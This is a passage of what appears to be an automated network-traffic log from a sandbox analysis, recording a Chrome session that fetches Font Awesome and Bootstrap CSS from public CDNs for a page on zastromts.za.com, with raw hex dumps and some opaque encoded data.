BpdjWgc\/iL8\/KFe6jdE6tQ1ZVE1qc5UztHtC0L27hn3xv14ZlrW9FJGaMPwKvJjEIfbDtJ2o30odxItvGd028XAiXtsCDTsKKkiVAhaxAhNAaiPCDkFx4eKXg43ZKEkbFQVf+SVgn\/6DzAa3y2TifE1qVMNEkBcpPS6VBSK7Zulw7Yz9edyTLQ4iusrBl0UK0vGAfAVaXOGwr7iom5GWItJvfQcSDfIPbrsUGuwPi9BMx14CF8EdFdprJ7Rb
2024-10-30 15:25:42 UTC	1369	IN	Data Raw: 39 66 35 58 5c 2f 52 6f 39 41 6f 47 61 4a 66 77 42 59 41 50 5c 2f 33 61 59 34 30 47 49 69 58 4f 57 34 39 2b 74 70 62 35 54 4b 39 36 6d 54 65 68 33 41 79 51 6d 77 49 78 7a 4b 4d 35 72 5a 72 41 38 58 48 4f 46 68 34 35 6a 39 52 50 70 41 70 68 43 73 58 5c 2f 5a 47 36 71 54 7a 64 70 6b 6f 6e 7a 6b 6f 6f 32 54 6d 6d 35 69 72 58 4d 49 48 4e 37 55 6d 77 6e 76 4a 53 67 4a 69 76 2b 79 32 37 79 6d 38 59 69 56 76 33 42 75 32 35 48 38 5c 2f 42 73 53 50 51 4d 54 57 50 45 50 39 68 68 57 6c 30 51 58 51 74 73 68 5c 2f 45 57 78 45 6c 45 4b 57 6a 51 54 73 69 6d 32 54 43 6f 5a 45 63 71 58 58 54 79 64 55 39 31 31 50 76 38 54 76 68 68 4b 2b 46 63 5c 2f 6f 74 71 47 50 59 62 39 5a 38 44 52 38 55 52 5a 5a 61 41 7a 54 64 44 34 45 79 75 79 72 4a 43 41 70 43 47 4c 62 66 54 38 58 38 Data Ascii: 9f5X\/Ro9AoGaJfwBYAP\/3aY40GIiXOW49+tpb5TK96mTeh3AyQmwIxzKM5rZrA8XHOFh45j9RPpAphCsX\/ZG6qTzdpkonzkoo2Tmm5irXMIHN7UmwnvJSgJiv+y27ym8YiVv3Bu25H8\/BsSPQMTWPEP9hhWl0QXQtsh\/EWxElEKWjQTsim2TCoZEcqXXTydU911Pv8TvhhK+Fc\/otqGPYb9Z8DR8URZZaAzTdD4EyuyrJCApCGLbfT8X8
2024-10-30 15:25:42 UTC	1338	IN	Data Raw: 5a 42 46 67 68 75 66 33 6f 55 4c 51 75 64 4a 56 7a 78 70 46 6b 38 45 4b 49 58 2b 39 5a 73 58 34 6c 79 53 31 43 75 6d 57 4a 72 4c 78 41 77 4b 72 50 41 64 46 59 38 37 6b 53 6e 4d 4c 46 66 47 75 4c 4a 68 46 68 51 79 6a 36 45 5a 71 5a 63 79 62 59 43 49 4b 43 4b 4b 45 46 43 56 52 47 75 76 43 2b 59 30 52 4f 75 79 67 75 4e 6b 34 32 69 48 6c 74 50 33 4e 72 79 42 71 37 79 4a 61 6c 6f 58 5c 2f 42 4d 4d 48 6d 34 6b 64 37 54 4f 65 43 43 51 42 31 37 79 67 64 35 53 67 57 73 6f 63 71 36 65 6f 6e 33 48 47 68 4b 4b 78 53 50 64 71 42 5a 54 56 69 77 61 5c 2f 5c 2f 63 45 54 77 63 46 56 43 58 66 36 65 2b 56 57 64 44 2b 71 6e 77 47 4a 52 54 63 67 42 53 6d 49 44 39 70 47 52 32 32 44 4f 2b 4d 47 4f 58 70 41 75 48 55 6e 62 6d 74 6b 68 63 78 48 50 4a 6c 44 74 51 79 4d 70 53 4b 59 Data Ascii: ZBFghuf3oULQudJVzxpFk8EKIX+9ZsX4lyS1CumWJrLxAwKrPAdFY87kSnMLFfGuLJhFhQyj6EZqZcybYCIKCKKEFCVRGuvC+Y0ROuyguNk42iHltP3NryBq7yJaloX\/BMMHm4kd7TOeCCQB17ygd5SgWsocq6eon3HGhKKxSPdqBZTViwa\/\/cETwcFVCXf6e+VWdD+qnwGJRTcgBSmID9pGR22DO+MGOXpAuHUnbmtkhcxHPJlDtQyMpSKY
2024-10-30 15:25:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49740	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:43 UTC	578	OUT	GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:43 UTC	946	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:43 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"656632a7-54f3" Last-Modified: Tue, 28 Nov 2023 18:34:15 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 589702 Expires: Mon, 20 Oct 2025 15:25:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=svENMqGOqJtd%2Fe4B8AdSjiTvtl7BbWkfRR%2BPIGf57m3sYjQiYssY4I9sXp1aO59upaf2pjoxTJhhAzALrmi3Hfb4%2F2UJuiNtGUghgPEXRBIMioUuhP1JbdSyN4PgxwYkx%2FWOF5ap"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6b6c688a6c3d-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:43 UTC	423	IN	Data Raw: 37 62 66 65 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 36 2e 35 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 33 20 46 6f 6e 74 69 63 6f 6e 73 2c 20 49 6e 63 2e 0a 20 2a 2f 0a 2e 66 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 66 61 2d 73 74 79 6c 65 Data Ascii: 7bfe/! Font Awesome Free 6.5.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) * Copyright 2023 Fonticons, Inc. */.fa{font-family:var(--fa-style
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 64 69 73 70 6c 61 79 2c 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 7d 2e 66 61 2d 63 6c 61 73 73 69 63 2c 2e 66 61 2d 72 65 67 75 6c 61 72 2c 2e 66 61 2d 73 6f 6c 69 64 2c 2e 66 61 72 2c 2e 66 61 73 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 36 20 46 72 65 65 22 7d 2e 66 61 2d 62 72 61 6e 64 73 2c 2e 66 61 62 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a Data Ascii: le;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-classic,.fa-regular,.fa-solid,.far,.fas{font-family:"Font Awesome 6 Free"}.fa-brands,.fab{font-family:
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 6c 6c 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 66 61 2d 70 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 66 61 2d 70 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 62 65 61 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 Data Ascii: ll-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-dela
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 38 2c 2e 38 34 2c 2e 34 32 2c 31 29 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 38 2c 2e 38 34 2c 2e 34 32 2c 31 29 29 7d 2e 66 61 2d 66 61 64 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 Data Ascii: ion-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:va
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 61 6e 69 6d 61 74 69 6f Data Ascii: -animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animatio
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 Data Ascii: var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timi
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 Data Ascii: tion-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-t
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 6f 75 6e 63 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 31 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 Data Ascii: ;transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-s
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 6f 70 61 63 69 74 79 2c 2e 34 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 35 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 2d 66 61 64 65 7b 30 25 2c 74 6f 7b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 6f 70 61 63 69 Data Ascii: -fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opaci
2024-10-30 15:25:43 UTC	1369	IN	Data Raw: 6d 3a 72 6f 74 61 74 65 28 2d 31 32 64 65 67 29 7d 33 36 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 64 65 67 29 7d 34 30 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 68 61 6b 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 7d 34 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 64 65 67 29 3b Data Ascii: m:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49741	151.101.193.229	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:43 UTC	576	OUT	GET /npm/bootstrap@5.3.0/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:43 UTC	762	IN	HTTP/1.1 200 OK Connection: close Content-Length: 232914 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.3.0 X-JSD-Version-Type: version ETag: W/"38dd2-sjFlHg/Wi72HWBifvTZCxGLTT6Y" Accept-Ranges: bytes Age: 710252 Date: Wed, 30 Oct 2024 15:25:43 GMT X-Served-By: cache-fra-eddf8230088-FRA, cache-dfw-kdfw8210169-DFW X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 20 76 35 2e 33 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 33 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 2c 5b 64 61 74 61 2d 62 73 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 69 6e 64 69 67 6f 3a 23 36 36 Data Ascii: @charset "UTF-8";/! Bootstrap v5.3.0 (https://getbootstrap.com/) * Copyright 2011-2023 The Bootstrap Authors * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#66
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 73 75 62 74 6c 65 3a 23 65 32 65 33 65 35 3b 2d 2d 62 73 2d 73 75 63 63 65 73 73 2d 62 67 2d 73 75 62 74 6c 65 3a 23 64 31 65 37 64 64 3b 2d 2d 62 73 2d 69 6e 66 6f 2d 62 67 2d 73 75 62 74 6c 65 3a 23 63 66 66 34 66 63 3b 2d 2d 62 73 2d 77 61 72 6e 69 6e 67 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 66 66 33 63 64 3b 2d 2d 62 73 2d 64 61 6e 67 65 72 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 38 64 37 64 61 3b 2d 2d 62 73 2d 6c 69 67 68 74 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 63 66 63 66 64 3b 2d 2d 62 73 2d 64 61 72 6b 2d 62 67 2d 73 75 62 74 6c 65 3a 23 63 65 64 34 64 61 3b 2d 2d 62 73 2d 70 72 69 6d 61 72 79 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 3a 23 39 65 63 35 66 65 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 Data Ascii: subtle:#e2e3e5;--bs-success-bg-subtle:#d1e7dd;--bs-info-bg-subtle:#cff4fc;--bs-warning-bg-subtle:#fff3cd;--bs-danger-bg-subtle:#f8d7da;--bs-light-bg-subtle:#fcfcfd;--bs-dark-bg-subtle:#ced4da;--bs-primary-border-subtle:#9ec5fe;--bs-secondary-border-subtle
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 6c 6f 72 2d 72 67 62 3a 33 33 2c 33 37 2c 34 31 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 3a 23 66 38 66 39 66 61 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 2d 72 67 62 3a 32 34 38 2c 32 34 39 2c 32 35 30 3b 2d 2d 62 73 2d 68 65 61 64 69 6e 67 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 33 2c 31 31 30 2c 32 35 33 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 23 30 61 35 38 63 61 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 30 2c 38 38 2c 32 30 32 3b 2d Data Ascii: lor-rgb:33,37,41;--bs-tertiary-bg:#f8f9fa;--bs-tertiary-bg-rgb:248,249,250;--bs-heading-color:inherit;--bs-link-color:#0d6efd;--bs-link-color-rgb:13,110,253;--bs-link-decoration:underline;--bs-link-hover-color:#0a58ca;--bs-link-hover-color-rgb:10,88,202;-
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 37 33 2c 31 38 31 2c 31 38 39 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 3a 23 33 34 33 61 34 30 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 2d 72 67 62 3a 35 32 2c 35 38 2c 36 34 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 31 37 33 2c 20 31 38 31 2c 20 31 38 39 2c 20 30 2e 35 29 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 37 33 2c 31 38 31 2c 31 38 39 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 3a 23 32 62 33 30 33 35 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 2d 72 67 62 3a 34 33 2c 34 38 2c 35 33 3b 2d 2d 62 73 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 2d 65 6d 70 68 61 73 69 73 3a 23 36 65 61 38 66 65 3b 2d 2d 62 73 Data Ascii: -color-rgb:173,181,189;--bs-secondary-bg:#343a40;--bs-secondary-bg-rgb:52,58,64;--bs-tertiary-color:rgba(173, 181, 189, 0.5);--bs-tertiary-color-rgb:173,181,189;--bs-tertiary-bg:#2b3035;--bs-tertiary-bg-rgb:43,48,53;--bs-primary-text-emphasis:#6ea8fe;--bs
